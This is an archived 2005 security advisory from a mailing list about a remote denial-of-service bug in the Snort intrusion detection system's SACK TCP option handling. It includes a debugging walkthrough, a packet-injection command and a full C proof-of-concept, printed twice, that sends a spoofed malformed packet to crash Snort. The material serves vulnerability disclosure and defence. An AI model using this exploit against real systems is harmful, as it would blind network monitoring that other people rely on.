Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] Snort SACK TCP Option Handling DoS

Subject: [UNIX] Snort SACK TCP Option Handling DoS
Date: 13 Sep 2005 11:12:35 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Snort SACK TCP Option Handling DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.snort.org/> Snort is "an open source network intrusion 
detection and prevention system". A vulnerability found in PrintTcpOptions 
could allow an attacker to craft a malformed TCP/IP packet that would 
remotely DoS Snort.

DETAILS

Vulnerable Systems:
 * Snort version 2.4.0 and prior

A vulnerability exist in the PrintTcpOptions() function located in 
snort-2.4.0/src/log.c
This could allow an attacker to craft a malformed TCP/IP packet and make a 
DoS or totally crash Snort in a remote system. In order to exploit Snort 
needs to run in verbose mode (switch -v).

After fuzzing Snort 2.4.0 with fuzzball2:
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 
DgmLen:40 DF
***A*R** Seq: 0x0  Ack: 0x4A2AC316  Win: 0x0  TcpLen: 20
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00  ..............E.
0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00  .(.@@.@.<.......
0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14  ...Pr.....J*..P.
0x0030: 00 00 31 76 00 00                                ..1v..

-+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 
DgmLen:44
******S* Seq: 0xCC1016F  Ack: 0x43F18422  Win: 0x16D0  TcpLen: 24
TCP Options (2) => Violaci n de segmento

The process catch a SIGSEGV signal, ok, now we need to know what packet 
number crash Snort:

root@blackb0x # snort -veX -i lo -q > DUMP.log
Violaci n de segmento
root@blackb0x # grep 127 DUMP.log | wc -l
123

At this moment we know that packet number 123 is the evil (may change) hu! 
;)...
Attaching Snort to GDB:

root@blackb0x # gdb -q snort
Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r -veX -i lo
Starting program: /usr/local/bin/snort -veX -i lo
..SNIPED...
08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 
DgmLen:44
******S* Seq: 0xCC1016F  Ack: 0x43F18422  Win: 0x16D0  TcpLen: 24
TCP Options (2) =>
Program received signal SIGSEGV, Segmentation fault.
0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
1543                    memcpy(tmp, p->tcp_options[i].data, 2);
(gdb) print tmp
$1 = "\000\000\000\000"
(gdb) print p
$2 = (Packet *) 0xbffff360
(gdb) print i
$3 = 0
(gdb) print p->tcp_options[i]
$4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
(gdb) print p->tcp_options[i].code
$3 = 5 '\005'
(gdb) x/4b p->tcp_options_data
0x824edd0:      0x05    0x02    0x00    0x00

The error is in line 1543 from log.c:

root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep 
-C 10 1543
  1533              case TCPOPT_NOP:
  1534                  fwrite("NOP ", 4, 1, fp);
  1535                  break;
  1536
  1537              case TCPOPT_WSCALE:
  1538                  fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
  1539                  break;
  1540
  1541              case TCPOPT_SACK:
  1542                  bzero((char *) tmp, 5);
  1543                  memcpy(tmp, p->tcp_options[i].data, 2);
  1544                  fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
  1545                  bzero((char *) tmp, 5);
  1546                  memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
  1547                  fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
  1548                  break;
  1549
  1550              case TCPOPT_SACKOK:
  1551                  fwrite("SackOK ", 7, 1, fp);
  1552                  break;

Reading the GDB's output found that p->tcp_options[i].code value is 5 
(TCPOPT_SACK).

Analyzing the Raw packet with tcpdump:
#tcpdump -i lo -eXX -c 123 | tail -5
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 
213975407:213975407(0) win 5840

0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,  O..  ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....r  .P.  .oC  ."
0020: 6002 16d0 3caf 0000 0502 0000            `..  

Suspecting the last 4 bytes are the evil we make our own packet:
root@blackb0x # printf "\x05\x02\x00\x00" > payload
root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 
-o ./payload
TCP Packet Injected

And again, the result:

root@blackb0x # snort -veX -i lo -q
08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 
DgmLen:44
******S* Seq: 0x46FE88E2  Ack: 0x1494CF39  Win: 0x1000  TcpLen: 24
TCP Options (2) => Violaci n de segmento

But the flaw doesn't appear to effect IDS mode in standard configurations 
(without -v flag):

root@blackb0x # snort -c etc/snort.conf -D
root@blackb0x # ps aux | grep snort
root      9947  5.3 31.6  38616 34720 ?        Ss   11:24   0:00 snort -c 
etc/snort.conf -D
root      9949  0.0  0.6   3384   760 pts/1    S+   11:24   0:00 grep 
snort
root@blackb0x # ./snortrigger localhost
-=[ Snort <= 2.4.0 Trigger p0c
-=[ By nitr0us

-=[ Sending Malformed TCP/IP Packet...
-=[ Sent 44 bytes to localhost
-=[ Snort killed !
root@blackb0x # ps aux | grep snort
root      9947  1.9 31.6  38616 34736 ?        Ss   11:24   0:00 snort -c 
etc/snort.conf -D
root      9952  0.0  0.6   3384   760 pts/2    S+   11:24   0:00 grep 
snort

Proof of Concept Code:
/*_------------------------------------------_
||------+ Snort <= 2.4.0 Trigger p0c +------||
||__________________________________________||
||--=[ nitrous [at] vulnfact [dot] com  ]=--||
||--=[      VulnFact Security Labs      ]=--||
||--=[           21 Ago 2oo5            ]=--||
||--=[              Mexico              ]=--||
||__________________________________________||
-__________________________________________-

Snort <= 2.4.0 SACK TCP Option Error Handling
Este c digo envia al  especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando 
se
esta corriendo en verbose mode (-v).

Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, 
por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por 
donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
..
Kind: 5
Length: Variable
+--------+--------+--------+--------+--------+--------+
| Kind=5 | Length | Relative Origin |   Block Size    |
+--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 
213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E..,  O..  ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....r  .P.  .oC  ."
0020: 6002 16d0 3caf 0000 0502 0000            `..  <  ......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, 
Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 
fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de 
"Sussie 4" ;)...
Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD     1       /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD     1       /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE  sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP  "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

return 0;
}

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

if(argc < 2)
return(usage(*argv));

if(argc == 3)
srcip = argv[2];

if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}

if(getuid() != 0){
fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
exit(-1);
}

memset(packet, 0x00, sizeof(packet));

memset(&target, 0x00, sizeof(target));
target.sin_family       = AF_INET;
target.sin_port         = htons(64876);
target.sin_addr         = *((struct in_addr *)host2ip->h_addr);

/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl       = 0x05;
IP->ip_v        = 0x04;
IP->ip_tos      = 0x00;
IP->ip_len      = IPSIZE + TCPSIZE + 4;
IP->ip_id       = 0x00;
IP->ip_off      = 0x00;
IP->ip_ttl      = 0xff;
IP->ip_p        = IPPROTO_TCP;
IP->ip_sum      = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;

TCP->th_sport   = htons(31337);
TCP->th_dport   = target.sin_port;
TCP->th_seq     = 0x00;
TCP->th_ack     = 0x00;
TCP->th_x2      = 0x00;
TCP->th_off     = 0x06;
TCP->th_flags   = 0x00; /* NO Syn ;) */
TCP->th_win     = htons(0xffff);
TCP->th_sum     = 0x00;
TCP->th_urp     = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr 
*)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ Snort killed !\n");

close(sockfd);
return 0;
}

Disclosure Timeline:
Flaw Discovered: 20/08/2005.
Vendor Notification: 22/08/2005.
Vendor Response: 23/08/2005.
Date Published: 11/09/2005.

Exploit Code:
/*_----------------------------------------------
||------+ Snort <= 2.4.0 Trigger p0c +-------
||___________________________________
||--=[ nitrous [at] vulnfact [dot] com ]=--
||--=[ VulnFact Security Labs ]=--
||--=[ 21 Ago 2oo5 ]=--
||--=[ Mexico ]=--
||__________________________________________
-__________________________________________-

Snort <= 2.4.0 SACK TCP Option Error Handling
Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando 
se
esta corriendo en verbose mode (-v).

Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, 
por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por 
donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
..
Kind: 5
Length: Variable
+--------+--------+--------+--------+--------+--------+
| Kind=5 | Length | Relative Origin | Block Size |
+--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 
213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., 'O..  ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r  .P.  .oC  ."
0020: 6002 16d0 3caf 0000 0502 0000 `..  <  ......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, 
Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 
fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de 
"Sussie 4" ;)...
Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

return 0;
}

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

if(argc < 2)
return(usage(*argv));

if(argc == 3)
srcip = argv[2];

if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}

if(getuid() != 0){
fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
exit(-1);
}

memset(packet, 0x00, sizeof(packet));

memset(&target, 0x00, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(64876);
target.sin_addr = *((struct in_addr *)host2ip->h_addr);

/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = IPSIZE + TCPSIZE + 4;
IP->ip_id = 0x00;
IP->ip_off = 0x00;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;

TCP->th_sport = htons(31337);
TCP->th_dport = target.sin_port;
TCP->th_seq = 0x00;
TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr 
*)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ Snort killed !\n");

close(sockfd);
return 0;
}

Related Links:
 *  <http://www.vulnfact.com/exploits/snortrigger.c> Proof of Concept code
 *  <http://www.nologin.org/main.pl?action=codeView&codeId=54&; > Fuzzball2 
TCP/IP Options Fuzzer
 *  <ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt> RFC #1072 - TCP 
Extensions for Long-Delay Paths
 *  <http://www.iana.org/assignments/tcp-parameters> TCP Option Numbers


ADDITIONAL INFORMATION

The information has been provided by  <mailto:nitrous@vulnfact.com> 
nitrous.
The original article can be found at:  
<http://www.vulnfact.com/advisories/snort_adv.html> 
http://www.vulnfact.com/advisories/snort_adv.html
The exploit code:  
<http://www.frsirt.com/exploits/20050912.snortsackdos.c.php> 
http://www.frsirt.com/exploits/20050912.snortsackdos.c.php



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] Snort SACK TCP Option Handling DoS, SecuriTeam <=